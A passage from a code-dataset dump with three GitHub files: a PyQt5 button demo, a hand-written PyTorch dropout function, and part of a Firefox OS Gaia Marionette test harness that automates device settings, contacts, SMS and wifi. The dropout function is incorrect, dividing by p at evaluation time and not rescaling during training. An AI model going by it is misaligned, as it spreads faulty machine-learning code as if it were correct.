PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nimport sys\n\n\nclass MainWidget(QDialog):\n def __init__(self, parent=None):\n super(MainWidget, self).__init__(parent)\n\n self.button1 = QPushButton(\"One\")\n self.button1.clicked.connect(self.onButton1Clicked)\n self.button2 = QPushButton(\"Two\")\n self.button2.clicked.connect(self.onButton2Clicked)\n self.button3 = QPushButton(\"Three\")\n self.button3.clicked.connect(self.onButton3Clicked)\n self.button4 = QPushButton(\"Four\")\n self.button4.clicked.connect(self.onButton4Clicked)\n self.button5 = QPushButton(\"Five\")\n self.button5.clicked.connect(self.onButton5Clicked)\n self.label = QLabel(\"Click a button...\")\n\n self.layout = QHBoxLayout()\n self.layout.addWidget(self.button1)\n self.layout.addWidget(self.button2)\n self.layout.addWidget(self.button3)\n self.layout.addWidget(self.button4)\n self.layout.addWidget(self.button5)\n self.layout.addStretch()\n self.layout.addWidget(self.label)\n self.setLayout(self.layout)\n\n self.setWindowTitle(\"Connections\")\n\n def onButton1Clicked(self):\n self.label.setText(f\"You clicked button 'One'\")\n\n def onButton2Clicked(self):\n self.label.setText(f\"You clicked button 'Two'\")\n\n def onButton3Clicked(self):\n self.label.setText(f\"You clicked button 'Three'\")\n\n def onButton4Clicked(self):\n self.label.setText(f\"You clicked button 'Four'\")\n\n def onButton5Clicked(self):\n self.label.setText(f\"You clicked button 'Five'\")\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n widget = MainWidget()\n widget.show()\n app.exec_()\n","repo_name":"nathanesau/PyQtExamples","sub_path":"src/connections.py","file_name":"connections.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20832917985","text":"import torch\nimport numpy as np\n\ndef dropout(src, p=0, training=False):\n assert 0<=p<=1\n assert src.dim()>0\n if training:\n shape = src.shape\n print(shape)\n a=1\n for d in shape:\n a *= d\n print(a)\n mask = np.random.choice(a, int(a*p))\n mask = [0 if i in mask else 1 for i in range(a)]\n src = src*torch.Tensor(mask).view(shape)\n else:\n if p>0:\n src = src / p\n return src\n\nt = torch.randn(2,3)\nprint(t)\nprint(dropout(t, 0.5, True))\nprint(dropout(t, 0.5, False))","repo_name":"hellozgy/leetcode","sub_path":"nn/dropout.py","file_name":"dropout.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39005659349","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport json\nimport os\nimport sys\nimport posixpath\nimport shutil\nimport tempfile\nimport time\nimport datetime\nimport signal\nimport thread\n\nfrom marionette import MarionetteTestCase, B2GTestCaseMixin\nfrom marionette_driver import expected, By, Wait\nfrom marionette_driver.errors import NoSuchElementException, StaleElementException\nimport mozfile\n\nfrom environment import GaiaTestEnvironment\nfrom file_manager import GaiaDeviceFileManager, GaiaLocalFileManager\n\nDEFAULT_SETTINGS = {\n 'airplaneMode.enabled': False, # disable airplane mode\n 'audio.volume.alarm': 0, # mute alarm audio\n 'audio.volume.content': 0, # mute content audio\n 'audio.volume.notification': 0, # mute audio notifications\n 'camera.sound.enabled': False, # mute camera sounds\n 'edgesgesture.enabled': False, # disable edge gestures\n 'ftu.manifestURL': None, # disable the first time usage app\n 'keyboard.autocorrect': False, # disable auto-correction of keyboard\n 'keyboard.clicksound': False, # mute keyboard click sound\n 'keyboard.enabled-layouts': str({\n 'app://keyboard.gaiamobile.org/manifest.webapp': {\n 'en': True, 'number': True}}), # reset keyboard layouts\n 'keyboard.vibration': False, # disable keyboard vibration\n 'language.current': 'en-US', # reset language to en-US\n 'lockscreen.enabled': False, # disable lockscreen\n 'lockscreen.passcode-lock.code': '1111',\n 'lockscreen.passcode-lock.enabled': False, # disable lockscreen passcode\n 'lockscreen.unlock-sound.enabled': False, # mute unlock sound\n 'message.sent-sound.enabled': False, # mute message sent sound\n 'phone.ring.keypad': False, # mute dial pad sounds\n 'privacy.donottrackheader.value': -1, # reset do not track\n 'ril.data.roaming_enabled': False, # disable roaming\n 'search.suggestions.enabled': False, # disable search suggestions\n 'screen.brightness': 0.1, # reduce screen brightness\n 'screen.timeout': 0, # disable screen timeout\n 'vibration.enabled': False, # disable vibration\n 'privacy.trackingprotection.shown': True\n}\n\nDEFAULT_PREFS = {\n 'webapps.update.enabled': False, # disable web apps update\n 'ui.caretBlinkTime': 0, # Make caret permanently visible so imagecompare screenshots are consistent\n 'layers.screen-recording.enabled': True # Enable the screen recording by default so it can be triggered\n}\n\n\nclass GaiaApp(object):\n\n def __init__(self, origin=None, name=None, frame=None, src=None, manifest_url=None, entry_point=None):\n self.frame = frame\n self.frame_id = frame\n self.src = src\n self.name = name\n self.origin = origin\n self.manifest_url = manifest_url\n self.entry_point = entry_point\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n\nclass GaiaApps(object):\n\n def __init__(self, marionette):\n self.marionette = marionette\n js = os.path.abspath(os.path.join(__file__, os.path.pardir, 'atoms', \"gaia_apps.js\"))\n self.marionette.import_script(js)\n\n def get_permission(self, app_name, permission_name):\n self.marionette.switch_to_frame()\n return self.marionette.execute_async_script(\"return GaiaApps.getPermission('%s', '%s')\" % (app_name, permission_name))\n\n def set_permission(self, app_name, permission_name, value):\n self.marionette.switch_to_frame()\n return self.marionette.execute_async_script(\"return GaiaApps.setPermission('%s', '%s', '%s')\" %\n (app_name, permission_name, value))\n\n def set_permission_by_url(self, manifest_url, permission_name, value):\n self.marionette.switch_to_frame()\n return self.marionette.execute_async_script(\"return GaiaApps.setPermissionByUrl('%s', '%s', '%s')\" %\n (manifest_url, permission_name, value))\n\n def launch(self, name, manifest_url=None, entry_point=None, switch_to_frame=True, launch_timeout=None):\n self.marionette.switch_to_frame()\n if manifest_url:\n result = self.marionette.execute_async_script(\"GaiaApps.launchWithManifestURL('%s', %s)\"\n % (manifest_url, json.dumps(entry_point)), script_timeout=launch_timeout)\n assert result, \"Failed to launch app with manifest_url '%s'\" % manifest_url\n else:\n result = self.marionette.execute_async_script(\n \"GaiaApps.launchWithName('%s')\" % name,\n script_timeout=launch_timeout)\n assert result, \"Failed to launch app with name '%s'\" % name\n app = GaiaApp(frame=result.get('frame'),\n src=result.get('src'),\n name=result.get('name'),\n origin=result.get('origin'),\n manifest_url=result.get('manifestURL'),\n entry_point=result.get('entryPoint'))\n if app.frame_id is None:\n raise Exception(\"App failed to launch; there is no app frame\")\n if switch_to_frame:\n self.marionette.switch_to_frame(app.frame_id)\n return app\n\n @property\n def displayed_app(self):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_script('return GaiaApps.getDisplayedApp();')\n return GaiaApp(frame=result.get('frame'),\n src=result.get('src'),\n name=result.get('name'),\n origin=result.get('origin'),\n manifest_url=result.get('manifestURL'),\n entry_point=result.get('entryPoint'))\n\n def switch_to_displayed_app(self):\n self.marionette.switch_to_default_content()\n self.marionette.switch_to_frame(self.displayed_app.frame)\n\n def is_app_installed(self, app_name):\n self.marionette.switch_to_frame()\n return self.marionette.execute_async_script(\"GaiaApps.locateWithName('%s')\" % app_name)\n\n def kill(self, app):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"GaiaApps.kill('%s');\" % app.origin)\n assert result, \"Failed to kill app with name '%s'\" % app.name\n # Workaround for bug 1219971, launch an app directly after a kill fails sometimes\n time.sleep(0.5)\n\n def kill_all(self):\n # First we attempt to kill the FTU, we treat it as a user app\n for app in self.running_apps(include_system_apps=True):\n if app.origin == 'app://ftu.gaiamobile.org':\n self.kill(app)\n break\n\n # Now kill the user apps\n self.marionette.switch_to_frame()\n self.marionette.execute_async_script(\"GaiaApps.killAll();\")\n # Workaround for bug 1219971, launch an app directly after a kill fails sometimes\n time.sleep(0.5)\n\n def install(self,manifest_url):\n self._change_state_of_app(manifest_url, 'install')\n\n def uninstall(self,manifest_url):\n self._change_state_of_app(manifest_url, 'uninstall')\n\n def install_package(self, manifest_url):\n self._change_state_of_app(manifest_url, 'installPackage')\n\n def _change_state_of_app(self, manifest_url, desired_action):\n self.marionette.switch_to_frame()\n data_layer = GaiaData(self.marionette)\n preference_action = desired_action.rstrip('Package')\n data_layer.set_bool_pref('dom.mozApps.auto_confirm_{}'.format(preference_action), True)\n result = self.marionette.execute_async_script('GaiaApps.{}(\"{}\");'.format(desired_action, manifest_url))\n assert (result is True), 'Failed to {} app: {}'.format(desired_action, manifest_url)\n data_layer.set_bool_pref('dom.mozApps.auto_confirm_{}'.format(preference_action), False)\n\n @property\n def installed_apps(self):\n apps = self.marionette.execute_async_script(\n 'return GaiaApps.getInstalledApps();')\n result = []\n for app in [a for a in apps if not a['manifest'].get('role')]:\n entry_points = app['manifest'].get('entry_points')\n if entry_points:\n for ep in entry_points.values():\n result.append(GaiaApp(\n origin=app['origin'],\n name=ep['name'],\n manifest_url=app['manifest']))\n else:\n result.append(GaiaApp(\n origin=app['origin'],\n name=app['manifest']['name'],\n manifest_url=app['manifest']))\n return result\n\n def running_apps(self, include_system_apps=False):\n ''' Returns a list of running apps\n Args:\n include_system_apps: Includes otherwise hidden System apps in the list\n Returns:\n A list of GaiaApp objects representing the running apps.\n '''\n include_system_apps = json.dumps(include_system_apps)\n self.marionette.switch_to_frame()\n apps = self.marionette.execute_script(\n \"return GaiaApps.getRunningApps(%s);\" % include_system_apps)\n result = []\n for app in [a[1] for a in apps.items()]:\n # Browser app can have no manifest when url is visited\n manifest_url = None\n if 'manifest' in app:\n manifest_url = app['manifest']\n result.append(GaiaApp(origin=app['origin'], name=app['name'], manifest_url=manifest_url))\n return result\n\n\nclass GaiaData(object):\n\n def __init__(self, marionette, testvars=None):\n self.marionette = marionette\n self.testvars = testvars or {}\n js = os.path.abspath(os.path.join(__file__, os.path.pardir, 'atoms', \"gaia_data_layer.js\"))\n self.marionette.import_script(js)\n\n # TODO Bugs 1043562/1049489 To perform ContactsAPI scripts from the chrome context, we need\n # to import the js file into chrome context too\n self.marionette.set_context(self.marionette.CONTEXT_CHROME)\n self.marionette.import_script(js)\n self.marionette.set_context(self.marionette.CONTEXT_CONTENT)\n\n def set_time(self, date_number):\n self.marionette.set_context(self.marionette.CONTEXT_CHROME)\n self.marionette.execute_script(\"window.navigator.mozTime.set(%s);\" % date_number)\n self.marionette.set_context(self.marionette.CONTEXT_CONTENT)\n\n @property\n def all_contacts(self):\n self.marionette.switch_to_frame()\n # TODO Bug 1049489 - In future, simplify executing scripts from the chrome context\n self.marionette.push_permission('contacts-read', True)\n self.marionette.set_context(self.marionette.CONTEXT_CHROME)\n result = self.marionette.execute_async_script('return GaiaDataLayer.getAllContacts();')\n self.marionette.set_context(self.marionette.CONTEXT_CONTENT)\n self.marionette.push_permission('contacts-read', False)\n return result\n\n @property\n def sim_contacts(self):\n self.marionette.switch_to_frame()\n adn_contacts = self.marionette.execute_async_script('return GaiaDataLayer.getSIMContacts(\"adn\");')\n sdn_contacts = self.marionette.execute_async_script('return GaiaDataLayer.getSIMContacts(\"sdn\");')\n return adn_contacts + sdn_contacts\n\n def insert_contact(self, contact):\n self.marionette.switch_to_frame()\n # TODO Bug 1049489 - In future, simplify executing scripts from the chrome context\n self.marionette.push_permission('contacts-create', True)\n self.marionette.set_context(self.marionette.CONTEXT_CHROME)\n mozcontact = contact.create_mozcontact()\n result = self.marionette.execute_async_script('return GaiaDataLayer.insertContact(%s);' % json.dumps(mozcontact))\n assert result, 'Unable to insert contact %s' % contact\n self.marionette.set_context(self.marionette.CONTEXT_CONTENT)\n self.marionette.push_permission('contacts-create', False)\n\n def insert_sim_contact(self, contact, contact_type='adn'):\n self.marionette.switch_to_frame()\n mozcontact = contact.create_mozcontact()\n result = self.marionette.execute_async_script('return GaiaDataLayer.insertSIMContact(\"%s\", %s);'\n % (contact_type, json.dumps(mozcontact)))\n assert result, 'Unable to insert SIM contact %s' % contact\n return result\n\n def delete_sim_contact(self, moz_contact_id, contact_type='adn'):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script('return GaiaDataLayer.deleteSIMContact(\"%s\", \"%s\");'\n % (contact_type, moz_contact_id))\n assert result, 'Unable to insert SIM contact %s' % moz_contact_id\n\n def remove_all_contacts(self):\n self.marionette.switch_to_frame()\n # TODO Bug 1049489 - In future, simplify executing scripts from the chrome context\n self.marionette.push_permission('contacts-write', True)\n self.marionette.set_context(self.marionette.CONTEXT_CHROME)\n timeout = max(self.marionette.timeout or 60000, 1000 * len(self.all_contacts))\n self.marionette.push_permission('contacts-read', True)\n result = self.marionette.execute_async_script('return GaiaDataLayer.removeAllContacts();', script_timeout=timeout)\n assert result, 'Unable to remove all contacts'\n self.marionette.set_context(self.marionette.CONTEXT_CONTENT)\n\n def get_setting(self, name):\n self.marionette.push_permission('settings-read', True)\n self.marionette.push_permission('settings-api-read', True)\n return self.marionette.execute_async_script(\n 'return GaiaDataLayer.getSetting(\"%s\")' % name)\n\n @property\n def all_settings(self):\n return self.get_setting('*')\n\n def set_setting(self, name, value):\n self.marionette.push_permission('settings-write', True)\n self.marionette.push_permission('settings-api-write', True)\n import json\n value = json.dumps(value)\n result = self.marionette.execute_async_script('return GaiaDataLayer.setSetting(\"%s\", %s)' % (name, value))\n assert result, \"Unable to change setting with name '%s' to '%s'\" % (name, value)\n\n def _get_pref(self, datatype, name):\n self.marionette.switch_to_frame()\n with self.marionette.using_context('chrome'):\n pref = self.marionette.execute_script(\"return Services.prefs.get%sPref('%s');\" % (datatype, name))\n return pref\n\n def _set_pref(self, datatype, name, value):\n value = json.dumps(value)\n self.marionette.switch_to_frame()\n with self.marionette.using_context('chrome'):\n self.marionette.execute_script(\n \"Services.prefs.set%sPref('%s', %s);\" % (datatype, name, value))\n\n def clear_user_pref(self, name):\n self.marionette.switch_to_frame()\n with self.marionette.using_context('chrome'):\n self.marionette.execute_script(\n \"Services.prefs.clearUserPref('%s');\" % name)\n\n def get_bool_pref(self, name):\n \"\"\"Returns the value of a Gecko boolean pref, which is different from a Gaia setting.\"\"\"\n return self._get_pref('Bool', name)\n\n def set_bool_pref(self, name, value):\n \"\"\"Sets the value of a Gecko boolean pref, which is different from a Gaia setting.\"\"\"\n return self._set_pref('Bool', name, value)\n\n def get_int_pref(self, name):\n \"\"\"Returns the value of a Gecko integer pref, which is different from a Gaia setting.\"\"\"\n return self._get_pref('Int', name)\n\n def set_int_pref(self, name, value):\n \"\"\"Sets the value of a Gecko integer pref, which is different from a Gaia setting.\"\"\"\n return self._set_pref('Int', name, value)\n\n def get_char_pref(self, name):\n \"\"\"Returns the value of a Gecko string pref, which is different from a Gaia setting.\"\"\"\n return self._get_pref('Char', name)\n\n def set_char_pref(self, name, value):\n \"\"\"Sets the value of a Gecko string pref, which is different from a Gaia setting.\"\"\"\n return self._set_pref('Char', name, value)\n\n def set_volume(self, value):\n channels = ['alarm', 'content', 'notification']\n for channel in channels:\n self.set_setting('audio.volume.%s' % channel, value)\n\n def bluetooth_enable(self):\n return self.marionette.execute_async_script(\"return GaiaDataLayer.enableBluetooth()\")\n\n def bluetooth_disable(self):\n return self.marionette.execute_async_script(\"return GaiaDataLayer.disableBluetooth()\")\n\n @property\n def bluetooth_is_enabled(self):\n return self.marionette.execute_script(\"return GaiaDataLayer.getBluetoothDefaultAdapter().state === 'enabled'\")\n\n @property\n def bluetooth_is_discoverable(self):\n return self.marionette.execute_script(\"return GaiaDataLayer.getBluetoothDefaultAdapter().discoverable\")\n\n @property\n def bluetooth_name(self):\n return self.marionette.execute_script(\"return GaiaDataLayer.getBluetoothDefaultAdapter().name\")\n\n @property\n def is_cell_data_enabled(self):\n return self.get_setting('ril.data.enabled')\n\n def connect_to_cell_data(self):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.connectToCellData()\")\n assert result, 'Unable to connect to cell data'\n\n def disable_cell_data(self):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.disableCellData()\")\n assert result, 'Unable to disable cell data'\n\n @property\n def is_cell_data_connected(self):\n return self.marionette.execute_script('return window.navigator.mozMobileConnections && ' +\n 'window.navigator.mozMobileConnections[0].data.connected;')\n\n def enable_cell_roaming(self):\n self.set_setting('ril.data.roaming_enabled', True)\n\n def disable_cell_roaming(self):\n self.set_setting('ril.data.roaming_enabled', False)\n\n @property\n def is_wifi_enabled(self):\n return self.marionette.execute_script(\"return window.navigator.mozWifiManager && \"\n \"window.navigator.mozWifiManager.enabled;\")\n\n def enable_wifi(self):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.enableWiFi()\")\n assert result, 'Unable to enable WiFi'\n\n def disable_wifi(self):\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.disableWiFi()\")\n assert result, 'Unable to disable WiFi'\n\n def connect_to_wifi(self, network=None):\n network = network or self.testvars.get('wifi')\n assert network, 'No WiFi network provided'\n self.enable_wifi()\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.connectToWiFi(%s)\" % json.dumps(network),\n script_timeout=max(self.marionette.timeout, 60000))\n assert result, 'Unable to connect to WiFi network'\n\n def forget_all_networks(self):\n self.marionette.switch_to_frame()\n self.marionette.execute_async_script('return GaiaDataLayer.forgetAllNetworks()')\n\n def is_wifi_connected(self, network=None):\n network = network or self.testvars.get('wifi')\n self.marionette.switch_to_frame()\n return self.marionette.execute_script(\"return GaiaDataLayer.isWiFiConnected(%s)\" % json.dumps(network))\n\n @property\n def known_networks(self):\n known_networks = self.marionette.execute_async_script(\n 'return GaiaDataLayer.getKnownNetworks()')\n return [n for n in known_networks if n]\n\n @property\n def active_telephony_state(self):\n # Returns the state of only the currently active call or None if no active call\n return self.marionette.execute_script(\"return GaiaDataLayer.getMozTelephonyState()\")\n\n @property\n def is_antenna_available(self):\n return self.marionette.execute_script('return window.navigator.mozFMRadio.antennaAvailable')\n\n @property\n def is_fm_radio_enabled(self):\n return self.marionette.execute_script('return window.navigator.mozFMRadio.enabled')\n\n @property\n def fm_radio_frequency(self):\n return self.marionette.execute_script('return window.navigator.mozFMRadio.frequency')\n\n @property\n def media_files(self):\n result = []\n result.extend(self.music_files)\n result.extend(self.picture_files)\n result.extend(self.video_files)\n return result\n\n def delete_all_sms(self):\n self.marionette.switch_to_frame()\n self.marionette.push_permission('sms', True)\n self.set_bool_pref('dom.sms.enabled', True)\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.deleteAllSms();\")\n self.marionette.push_permission('sms', False)\n self.clear_user_pref('dom.sms.enabled')\n return result\n\n def get_all_sms(self):\n self.marionette.switch_to_frame()\n self.marionette.push_permission('sms', True)\n self.set_bool_pref('dom.sms.enabled', True)\n result = self.marionette.execute_async_script(\"return GaiaDataLayer.getAllSms();\")\n self.marionette.push_permission('sms', False)\n self.clear_user_pref('dom.sms.enabled')\n return result\n\n def delete_all_call_log_entries(self):\n \"\"\"The call log needs to be open and focused in order for this to work.\"\"\"\n self.marionette.execute_script('window.wrappedJSObject.RecentsDBManager.deleteAll();')\n\n def insert_call_entry(self, call):\n \"\"\"The call log needs to be open and focused in order for this to work.\"\"\"\n self.marionette.execute_script('window.wrappedJSObject.CallLogDBManager.add(%s);' % (json.dumps(call)))\n\n # TODO Replace with proper wait when possible\n import time\n time.sleep(1)\n\n def kill_active_call(self):\n self.marionette.execute_script(\"var telephony = window.navigator.mozTelephony; \" +\n \"if(telephony.active) telephony.active.hangUp();\")\n\n def kill_conference_call(self):\n self.marionette.execute_script(\"\"\"\n var callsToEnd = window.navigator.mozTelephony.conferenceGroup.calls;\n for (var i = (callsToEnd.length - 1); i >= 0; i--) {\n var call = callsToEnd[i];\n call.hangUp();\n }\n \"\"\")\n\n @property\n def music_files(self):\n return self.marionette.execute_async_script(\n 'return GaiaDataLayer.getAllMusic();')\n\n @property\n def picture_files(self):\n return self.marionette.execute_async_script(\n 'return GaiaDataLayer.getAllPictures();')\n\n @property\n def video_files(self):\n return self.marionette.execute_async_script(\n 'return GaiaDataLayer.getAllVideos();')\n\n def sdcard_files(self, extension=''):\n files = self.marionette.execute_async_script(\n 'return GaiaDataLayer.getAllSDCardFiles();')\n if len(extension):\n return [file for file in files if file['name'].endswith(extension)]\n return files\n\n def send_sms(self, number, message, skip_verification=False):\n self.marionette.switch_to_frame()\n import json\n number = json.dumps(number)\n message = json.dumps(message)\n\n self.marionette.push_permission('sms', True)\n self.set_bool_pref('dom.sms.enabled', True)\n result = self.marionette.execute_async_script('return GaiaDataLayer.sendSMS(%s, %s, %s)' % (number, message, str(skip_verification).lower()))\n self.marionette.push_permission('sms', False)\n self.clear_user_pref('dom.sms.enabled')\n\n assert result, 'Unable to send SMS to recipient %s with text %s' % (number, message)\n\n def add_notification(self, title, options=None):\n self.marionette.execute_script('new Notification(\"%s\", %s);' % (title, json.dumps(options)))\n\n def clear_notifications(self):\n self.marionette.execute_script(\"window.wrappedJSObject.Service.request('NotificationScreen:clearAll');\")\n\n @property\n def current_audio_channel(self):\n self.marionette.switch_to_frame()\n return self.marionette.execute_script(\"return window.wrappedJSObject.Service.query('currentChannel');\")\n\n\nclass Accessibility(object):\n\n def __init__(self, marionette):\n self.marionette = marionette\n\n def is_hidden(self, element):\n return self._run_async_script('isHidden', [element])\n\n def is_visible(self, element):\n return self._run_async_script('isVisible', [element])\n\n def is_disabled(self, element):\n return self._run_async_script('isDisabled', [element])\n\n def click(self, element):\n self._run_async_script('click', [element])\n\n def wheel(self, element, direction):\n self.marionette.execute_script(\"\"\"\n let element = arguments[0];\n let direction = arguments[1];\n let horizontal = direction === 'left' || direction === 'right';\n let page = (direction === 'left' || direction === 'up') ? 1 : -1;\n let event = new window.wrappedJSObject.WheelEvent('wheel', {\n bubbles: true,\n cancelable: true,\n deltaX: horizontal ? page : 0,\n deltaY: horizontal ? 0 : page,\n deltaMode: window.wrappedJSObject.WheelEvent.DOM_DELTA_PAGE,\n });\n element.wrappedJSObject.dispatchEvent(event);\n \"\"\", [element, direction], sandbox='default')\n\n def get_name(self, element):\n return self._run_async_script('getName', [element])\n\n def get_role(self, element):\n return self._run_async_script('getRole', [element])\n\n def dispatchEvent(self):\n self.marionette.switch_to_frame()\n self.marionette.execute_script(\n \"window.dispatchEvent(new CustomEvent('accessibility-action'));\")\n\n def execute_async_script(self, script, args, **kwargs):\n js = os.path.abspath(os.path.join(__file__, os.path.pardir,\n 'atoms', \"accessibility.js\"))\n with open(js, 'r') as f:\n content = f.read()\n\n kwargs['sandbox'] = 'system'\n result = self.marionette.execute_async_script(\n '%s\\n%s' % (content, script), args, **kwargs)\n\n if not result:\n return\n\n if result.has_key('error'):\n message = 'accessibility.js error: %s' % result['error']\n raise Exception(message)\n\n return result.get('result', None)\n\n def _run_async_script(self, func, args):\n return self.execute_async_script(\n 'return Accessibility.%s.apply(Accessibility, arguments)' % func,\n args)\n\n\nclass GaiaDevice(object):\n\n def __init__(self, marionette, testvars=None, manager=None):\n self.manager = manager\n self.marionette = marionette\n self.testvars = testvars or {}\n\n if self.is_desktop_b2g:\n self.file_manager = GaiaLocalFileManager(self)\n # Use a temporary directory for storage\n self.storage_path = tempfile.mkdtemp()\n self._set_storage_path()\n elif self.manager:\n self.file_manager = GaiaDeviceFileManager(self)\n # Use the device root for storage\n self.storage_path = self.manager.deviceRoot\n\n self.lockscreen_atom = os.path.abspath(\n os.path.join(__file__, os.path.pardir, 'atoms', \"gaia_lock_screen.js\"))\n\n def _set_storage_path(self):\n if self.is_desktop_b2g:\n # Override the storage location for desktop B2G. This will only\n # work if the B2G instance is running locally.\n GaiaData(self.marionette).set_char_pref(\n 'device.storage.overrideRootDir', self.storage_path)\n\n @property\n def is_android_build(self):\n if self.testvars.get('is_android_build') is None:\n self.testvars['is_android_build'] = 'boot2gecko' in self.marionette.session_capabilities['platformName'].lower()\n return self.testvars['is_android_build']\n\n @property\n def is_emulator(self):\n if not hasattr(self, '_is_emulator'):\n self._is_emulator = self.marionette.session_capabilities['device'] == 'qemu'\n return self._is_emulator\n\n @property\n def is_desktop_b2g(self):\n if self.testvars.get('is_desktop_b2g') is None:\n self.testvars['is_desktop_b2g'] = self.marionette.session_capabilities['device'] == 'desktop'\n return self.testvars['is_desktop_b2g']\n\n @property\n def is_online(self):\n # Returns true if the device has a network connection established (cell data, wifi, etc)\n return self.marionette.execute_script('return window.navigator.onLine;')\n\n @property\n def has_mobile_connection(self):\n return self.marionette.execute_script('return window.navigator.mozMobileConnections && ' +\n 'window.navigator.mozMobileConnections[0].voice.network !== null')\n\n @property\n def has_wifi(self):\n if not hasattr(self, '_has_wifi'):\n self._has_wifi = self.marionette.execute_script('return window.navigator.mozWifiManager !== undefined')\n return self._has_wifi\n\n def restart_b2g(self):\n self.stop_b2g()\n time.sleep(2)\n self.start_b2g()\n\n def start_b2g(self, timeout=120):\n if self.marionette.instance:\n # launch the gecko instance attached to marionette\n self.marionette.instance.start()\n elif self.is_android_build:\n self.manager.shellCheckOutput(['start', 'b2g'])\n else:\n raise Exception('Unable to start B2G')\n self.marionette.wait_for_port()\n self.marionette.start_session()\n\n self.wait_for_b2g_ready(timeout)\n\n # Reset the storage path for desktop B2G\n self._set_storage_path()\n\n def wait_for_b2g_ready(self, timeout=120):\n # Wait for logo to be hidden\n self.marionette.set_search_timeout(0)\n try:\n Wait(self.marionette, timeout, ignored_exceptions=StaleElementException).until(\n lambda m: m.find_element(By.TAG_NAME, 'body').get_attribute('ready-state') == 'fullyLoaded')\n except NoSuchElementException:\n pass\n self.marionette.set_search_timeout(self.marionette.timeout or 10000)\n\n @property\n def is_b2g_running(self):\n return 'b2g' in self.manager.shellCheckOutput(['toolbox', 'ps'])\n\n def stop_b2g(self, timeout=5):\n if self.marionette.instance:\n # close the gecko instance attached to marionette\n self.marionette.instance.close()\n elif self.is_android_build:\n self.manager.shellCheckOutput(['stop', 'b2g'])\n Wait(self.marionette, timeout=timeout).until(\n lambda m: not self.is_b2g_running,\n message='b2g failed to stop.')\n else:\n raise Exception('Unable to stop B2G')\n self.marionette.client.close()\n self.marionette.session = None\n self.marionette.window = None\n\n def press_sleep_button(self):\n self.marionette.execute_script(\"\"\"\n window.wrappedJSObject.dispatchEvent(new KeyboardEvent('mozbrowserbeforekeydown', {\n key: 'Power'\n }));\"\"\")\n\n def press_release_volume_up_then_down_n_times(self, n_times):\n self.marionette.execute_script(\"\"\"\n function sendEvent(key, aType) {\n var type = aType === 'press' ? 'mozbrowserafterkeydown' : 'mozbrowserafterkeyup';\n window.wrappedJSObject.dispatchEvent(new KeyboardEvent(type, {\n key: key\n }));\n }\n for (var i = 0; i < arguments[0]; ++i) {\n sendEvent('VolumeUp', 'press');\n sendEvent('VolumeUp', 'release');\n sendEvent('VolumeDown', 'press');\n sendEvent('VolumeDown', 'release');\n };\"\"\", script_args=[n_times])\n\n def turn_screen_off(self):\n apps = GaiaApps(self.marionette)\n self.marionette.switch_to_frame()\n ret = self.marionette.execute_script(\"window.wrappedJSObject.Service.request('turnScreenOff', true)\")\n apps.switch_to_displayed_app()\n return ret\n\n def turn_screen_on(self):\n apps = GaiaApps(self.marionette)\n self.marionette.switch_to_frame()\n ret = self.marionette.execute_script(\"window.wrappedJSObject.Service.request('turnScreenOn', true)\")\n apps.switch_to_displayed_app()\n return ret\n\n @property\n def is_screen_enabled(self):\n apps = GaiaApps(self.marionette)\n self.marionette.switch_to_frame()\n ret = self.marionette.execute_script('return window.wrappedJSObject.Service.query(\"screenEnabled\")')\n apps.switch_to_displayed_app()\n return ret\n\n def touch_home_button(self):\n from gaiatest.apps.homescreen.app import Homescreen\n homescreen = Homescreen(self.marionette)\n apps = GaiaApps(self.marionette)\n if homescreen.is_displayed == False:\n # touching home button will return to homescreen\n self._dispatch_home_button_event()\n homescreen.wait_to_be_displayed()\n apps.switch_to_displayed_app()\n else:\n self._dispatch_home_button_event()\n apps.switch_to_displayed_app()\n\n # touching home button inside homescreen will scroll it to the top\n Wait(self.marionette).until(lambda m: homescreen.is_at_topmost_position)\n\n def _dispatch_home_button_event(self):\n self.marionette.switch_to_frame()\n self.marionette.execute_script(\"window.wrappedJSObject.dispatchEvent(new Event('home'));\")\n\n def hold_home_button(self):\n self.marionette.switch_to_frame()\n self.marionette.execute_script(\"window.wrappedJSObject.dispatchEvent(new Event('holdhome'));\")\n # This is for the opacity animation to be finished for the task-manager\n # Otherwise we get intermittent issues tapping on opening a new browser window\n time.sleep(0.3)\n\n def hold_sleep_button(self):\n self.marionette.switch_to_frame()\n self.marionette.execute_script(\"window.wrappedJSObject.dispatchEvent(new Event('holdsleep'));\")\n\n @property\n def is_locked(self):\n self.marionette.switch_to_frame()\n return self.marionette.execute_script(\"return window.wrappedJSObject.Service.query('locked')\")\n\n def lock(self):\n self.marionette.switch_to_frame()\n GaiaData(self.marionette).set_setting('lockscreen.enabled', True)\n # Make sure the screen isn't turned off in lockscreen mode\n self.marionette.execute_script(\n 'window.wrappedJSObject.ScreenManager.LOCKING_TIMEOUT = 9999;')\n self.turn_screen_off()\n self.turn_screen_on()\n assert self.is_locked, 'The screen is not locked'\n Wait(self.marionette).until(lambda m: m.find_element(By.CSS_SELECTOR, 'div.lockScreenWindow.active'))\n\n def unlock(self):\n if self.is_locked:\n self.marionette.import_script(self.lockscreen_atom)\n self.marionette.switch_to_frame()\n result = self.marionette.execute_async_script(\"GaiaLockScreen.unlock();\", sandbox='default')\n GaiaData(self.marionette).set_setting('lockscreen.enabled', False)\n assert result, 'Unable to unlock screen'\n\n def change_orientation(self, orientation):\n \"\"\" There are 4 orientation 